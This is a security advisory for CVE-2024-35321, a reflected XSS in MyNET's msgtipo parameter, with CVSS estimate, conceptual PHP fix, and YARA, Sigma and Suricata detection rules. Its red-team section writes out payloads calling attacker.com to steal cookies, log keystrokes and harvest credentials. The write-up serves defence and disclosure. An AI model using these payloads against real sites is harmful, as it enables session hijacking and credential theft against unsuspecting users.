CVE-2024-35321

Executive Summary

CVE-2024-35321 identifies a Reflected Cross-Site Scripting (XSS) vulnerability in MyNET up to version 26.08. The flaw resides in the msgtipo parameter, which is not properly sanitized before being reflected back to the user. An attacker can craft a malicious URL containing JavaScript payloads in the msgtipo parameter; when a victim clicks the link, the script executes in the context of the vulnerable application. This can lead to session hijacking, credential theft, or defacement. No official patch has been released, and no public exploit code is available at this time.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It affects a proprietary web application (MyNET) and does not involve open-source package supply chain risks.

CVSS Breakdown & Threat Level

While a CVSS vector is not provided, based on the nature of the vulnerability (Reflected XSS), a typical score would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R)
• Scope (S): Changed (C)
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS v3.1 Score: 6.1 (Medium)

Threat Level: Medium. Exploitation requires user interaction (clicking a link), but no authentication is needed. The impact is limited to the user's session and data within the application.

Deep Dive & Mechanics

The vulnerability is a classic Reflected XSS. The msgtipo parameter is likely used to display a message type (e.g., success, error) to the user. The application takes the value of msgtipo from the URL query string and directly embeds it into the HTML response without proper encoding or sanitization.

Example vulnerable URL:

https://vulnerable-mynet.com/page?msgtipo=<script>alert('XSS')</script>

When the server processes this request, it reflects the msgtipo value into the page's HTML, causing the browser to execute the injected script. The attacker can use this to steal cookies, redirect users, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern and the expected fix.

Vulnerable Code (Conceptual):

<?php
$msgtipo = $_GET['msgtipo'];
echo "<div class='message'>$msgtipo</div>";
?>

Patched Code (Conceptual):

<?php
$msgtipo = htmlspecialchars($_GET['msgtipo'], ENT_QUOTES, 'UTF-8');
echo "<div class='message'>$msgtipo</div>";
?>

The fix uses htmlspecialchars() to encode special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Setup:

1. Deploy a vulnerable instance of MyNET (version 26.08 or earlier) in a controlled environment.
2. Use a web browser or tool like Burp Suite to intercept and modify requests.

Exploitation Steps:

1. Craft a malicious URL:

   http://target-mynet.com/page?msgtipo=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

2. Send the URL to the victim via phishing email or social engineering.
3. When the victim clicks the link, the script executes and sends their session cookie to the attacker's server.

Alternative Payloads:

• Keylogger: <script>document.onkeypress=function(e){fetch('http://attacker.com/log?key='+e.key)}</script>
• Phishing overlay: <script>document.body.innerHTML='<form action="http://attacker.com/login" method="post"><input name="user"><input name="pass"><input type="submit"></form>'</script>

Blue Team (Defense & Detection)

Detection:

• Monitor web server logs for requests containing suspicious patterns in the msgtipo parameter (e.g., <script>, onerror=, javascript:).
• Use WAF rules to block reflected XSS attempts.

Mitigation:

• Apply input validation and output encoding on the server side.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Educate users about phishing links.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with msgtipo parameter containing <script> tags or event handlers.
  • Outbound connections to attacker-controlled domains from the victim's browser.
• File IOCs:
  • Suspicious entries in web server access logs with encoded or malicious msgtipo values.
• Behavioral IOCs:
  • Unexpected redirects or pop-ups in the MyNET application.
  • Unauthorized changes to user profiles or settings.

Detection Engineering

YARA Rule

rule CVE_2024_35321_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting msgtipo parameter in MyNET"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-35321"
    strings:
        $xss_pattern1 = "msgtipo=<script" ascii nocase
        $xss_pattern2 = "msgtipo=javascript:" ascii nocase
        $xss_pattern3 = "msgtipo=onerror=" ascii nocase
        $xss_pattern4 = "msgtipo=onload=" ascii nocase
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt on MyNET msgtipo Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with malicious payloads in the msgtipo parameter
author: Valters IT
date: 2025/04/10
tags:
    - attack.t1059.007
    - cve.2024.35321
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - 'msgtipo=<script'
            - 'msgtipo=javascript:'
            - 'msgtipo=onerror='
            - 'msgtipo=onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-35321 Reflected XSS in MyNET msgtipo"; flow:to_server,established; content:"msgtipo="; http_uri; pcre:"/msgtipo=(<script|javascript:|onerror=|onload=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize the msgtipo parameter to allow only expected values (e.g., alphanumeric strings).
2. Output Encoding: Use context-appropriate encoding (HTML entity encoding) when reflecting user input.
3. WAF Rules: Deploy Web Application Firewall rules to block XSS payloads in the msgtipo parameter.

Long-Term Fix:

• Apply a vendor patch if/when released.
• Conduct a security code review of all parameters that reflect user input.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• If patching is not possible, consider disabling the functionality that uses the msgtipo parameter, or restrict access to the vulnerable page via IP whitelisting.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert